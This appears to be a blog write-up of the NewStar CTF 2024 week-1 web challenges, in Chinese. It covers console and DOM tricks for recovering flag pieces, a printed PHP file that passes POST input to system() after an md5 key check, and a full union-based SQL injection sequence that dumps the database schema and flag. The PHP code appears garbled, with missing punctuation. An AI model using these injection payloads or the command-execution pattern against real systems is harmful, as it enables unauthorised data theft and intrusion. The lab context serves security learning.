NewStar CTF 2024 web week1

1.headach3

第一种方法 ,打开浏览器开发者工具的「网络」(Network)选项卡,刷新网页,点击第一个请求,查看响应头,可以看到 flag。

第二种方式:通过burpsuite抓包重放,获取到flag

2.

第一关

查看网页源代码,获得flag第一部分:ZmxhZ3tXQTB3,并且获取到下一关线索

第二关

访问http://101.200.139.65:38966/4cqu1siti0n

查看网页源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<script>
async function revealFlag(className) {
try {
const response = await fetch(`/api/flag/${className}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
}
});
if (response.ok) {
const data = await response.json();
console.log(`恭喜你!你获得了第二部分的 flag: ${data.flag}\n……\n时光荏苒,你成长了很多,也发生了一些事情。去看看吧:/${data.nextLevel}`);
} else {
console.error('请求失败,请检查输入或服务器响应。');
}
} catch (error) {
console.error('请求过程中出现错误:', error);
}
}

// 控制台提示
console.log("你似乎对这门叫做4cqu1siti0n的课很好奇?那就来看看控制台吧!");
</script>


F12打开控制台,通过阅读代码逻辑,调用revealFlag函数,参数为4cqu1siti0n,获得第二端flag:IV95NF9yM2Fs,下一关地址为/s341

第三关


查看网页源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<script>
document.addEventListener('DOMContentLoaded', function () {
const form = document.getElementById('seal_him');
const stateElement = document.getElementById('state');
const messageElement = document.getElementById('message');

form.addEventListener('submit', async function (event) {
event.preventDefault();


if (stateElement.textContent.trim() !== '解封') {
messageElement.textContent = '如何是好?';
return;
}

try {
const response = await fetch('/api/flag/s34l', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ csrf_token: document.getElementById('csrf_token').value })
});

if (response.ok) {
const data = await response.json();
messageElement.textContent = `第三部分Flag: ${data.flag}, 你解救了五条悟!下一关: /${data.nextLevel || '无'}`;
} else {
messageElement.textContent = '请求失败,请重试。';
}
} catch (error) {
messageElement.textContent = '请求过程中出现错误,请重试。';
}
});
});
</script>

发现,stateElement的参数为state,state值为已封印,下边对值进行判断,与解封进行对比,判断是否为解封


通过修改state的“已封印”值为“解封”,点击解封,获取到第三部分Flag:MXlfR3I0c1B,并获得下一关地址/Ap3x

第四关

使用burpsuite抓包,点击按钮发现未抓到包,说明按钮为前端按钮。

并且源码中有 <noscript> 标签,可以使用浏览器插件或者浏览器设置禁用 JavaScript.

第三关 2
点击无量空处

将flag拼接到一起,进行Base64解码

3.智械危机

提示中具有robots,联想到robots.txt

访问txt后,获取到信息php文件,访问该php文件

获取到如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  

function execute_cmd($cmd{    system($cmd);
}

function decrypt_request($cmd$key{    $decoded_key base64_decode($key);    $reversed_cmd '';
    for ($i strlen($cmd) - 1$i >= 0$i--) {        $reversed_cmd .= $cmd[$i];
    }    $hashed_reversed_cmd md5($reversed_cmd);
    if ($hashed_reversed_cmd !== $decoded_key) {
        die("Invalid key");
    }    $decrypted_cmd base64_decode($cmd);
    return $decrypted_cmd;
}

if (isset($_POST['cmd']) && isset($_POST['key'])) {    execute_cmd(decrypt_request($_POST['cmd'],$_POST['key']));
}
else {    highlight_file(__FILE__);
}
?>

4.PangBai 过家家(1)

5.谢谢皮蛋


通过分析,为数字型

通过判断字段数为2

1
1 group by 3 #

1
1 group by 2 #


通过联合注入,发现有回显。

1
-1 union select 1,2 #


通过查询database(),显出数据库名为ctf

1
-1 union select  database(),2 #


爆破表名:

1
-1 union select  (select group_concat(table_name) from information_schema.tables where table_schema=database() ) ,2 #


爆破字段名

1
-1 union select  (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='Fl4g' ) ,2 #


爆数据,获取到Flag数据:flag{6213b590-c45c-4161-9136-401e62585360}

1
-1  union select group_concat(des,value),2 from Fl4g


NewStar CTF 2024 web week1
http://yoursite.com/2024/09/21/NewStar CTF 2024 web week1/
Author
John Doe
Posted on
September 21, 2024
Licensed under